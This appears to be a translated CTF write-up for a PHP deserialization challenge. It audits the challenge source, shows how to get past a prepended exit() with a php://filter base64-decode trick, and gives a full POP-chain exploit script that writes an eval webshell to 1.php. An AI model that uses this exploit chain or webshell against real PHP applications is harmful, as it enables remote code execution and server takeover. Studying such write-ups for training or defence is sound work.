Utilization point
- base64 + filter protocol bypasses death exit
Source code
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // Creation failed } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //data compression $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
Code audit
class B
base64 + filter protocol bypasses death exit
Class B has a write file function. The target should be to write a shell, which is located in B::set()
$result = file_put_contents($filename, $data);
Look at $filename first
$filename = $this->getCacheKey($name);
Catch up with B::getCacheKey()
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
Here, $options is an array that can be controlled, and $name is also a variable that can be controlled, that is, both the file name and prefix can be controlled. After observation, the $name here comes from B::set()
public function set($name, $value, $expire = null): bool
Then take a look at the contents of the written file $data and go up one step
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
Here, the first command is spliced after exit(). If normal writing can never be executed, that is, death exit(), P God has an article on bypassing death exit()
Talk about it php://filter Clever use of @ PHITHON
In short, the command is spliced into exit() based on base64 first, and then decoded and written by filter protocol base64. sprintf here is a 12 digit number, and the passed in $expire=0. Since decoding automatically skips illegal characters, only base64 ciphertext php / / 000000000000000000exit and subsequent commands will be left in death exit (). Meanwhile, since base64 is a group of 4 characters, three visible characters should be added to $data to make up 12 characters. In this way, the incoming base64 ciphertext is as follows. After base64, the php command will be generated
php//000000000000exit (Base64 of the command to be executed)
Just file_put_contents supports parsing pseudo protocol: then B::$options['prefix '] is assigned as php://filter/write=convert.base64-decode/resource =, the parameter $expire passed into B::set() is assigned to any number no more than 12 digits. First trace the source of $expire
Format as int
$expire = $this->getExpireTime($expire);
Then there is an assignment judgment
if (is_null($expire)) { $expire = $this->options['expire']; }
Then $expire comes from the set parameter
public function set($name, $value, $expire = null): bool
Therefore, $expire can be from a parameter or B::$options['expire ']
After $expire is completed, go up and catch up with $data. To bypass death exit(), there is a data compression function on it. You can't go in here. Assign options['data_compress'] to false
if ($this->options['data_compress'] && function_exists('gzcompress')) { //data compression $data = gzcompress($data, 3); }
Go back and find the source of $data from B::serialize($value)
$data = $this->serialize($value);
$value is a parameter passed from B::set(). This serialize function is defined by class B itself. It is controllable here. It is passed in as a function method
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); }
Description of B::serialize()
This step of serialize is a redundant operation. Our goal is to go through this function, but the returned content remains unchanged. You can choose to encode (pass in base64 and then decode it), or remove the white space characters (rtrim) on both sides of the incoming command. Just do nothing. payload selects base64 decoding by default
class A
Look at the class A destructor
public function __destruct() { if (!$this->autosave) { $this->save(); } }
To enter the save function, first assign A::$autosave to 0, and the save function calls the set function
public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
As long as A::$store is assigned new B(), B::set() can be called, which completes the connection between the two classes. Here, $key corresponds to the file name to be written, and $contents corresponds to the content to be written. See its source
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
The $cleared here comes from $A::cache and is an empty array; The written content comes from A::$complete
Construct payload
The last difficulty is to construct payload and assign it to A::$complete
- First of all: after a B::serialize(), we perform a redundant operation, that is, base64_decode, so A::$complete needs Base64 once_ encode()
See the description of B::serialize() above
- After that: it bypasses the death exit(). It was calculated that three characters should be rounded up before, and then the base64 encoding of the command to be executed
A::$complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
Write a sentence. The Trojan horse is connected with an ant sword
POP chain construction
According to the above code audit, construct the POP chain
file_put_contents(); B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize(); A::save() + A::getForStorage() + A::cleanContents(); A::__destruct();
class B
class B{ public $options; public function __construct(){ $this->options = array(); // Bypass death exit and use filter pseudo protocol $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; // Skip data compression $this->options['data_compress'] = 0; // For functions that do nothing, base64 decoding is performed here $this->options['serialize'] = 'base64_decode'; // Supplement sprintf $this->options['expire'] = 0; } }
class A
class A{ protected $key; protected $store; protected $expire; public function __construct(){ // Enter A::save() $this->autosave = 0; // B::set() entry $this->store = new B(); // Initial assignment $this->cache = array(); // Write the file name of the webshell $this->key = '1.php'; // payload $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>')); } }
EXP
<?php class A{ protected $key; protected $store; protected $expire; public function __construct(){ $this->autosave = 0; $this->store = new B(); $this->cache = array(); $this->key = '1.php'; $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>')); } } class B{ public $options; public function __construct(){ $this->options = array(); $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['data_compress'] = 0; $this->options['serialize'] = 'base64_decode'; $this->options['expire'] = 0; } } echo urlencode(serialize(new A()));
finish
Welcome to leave a message in the comment area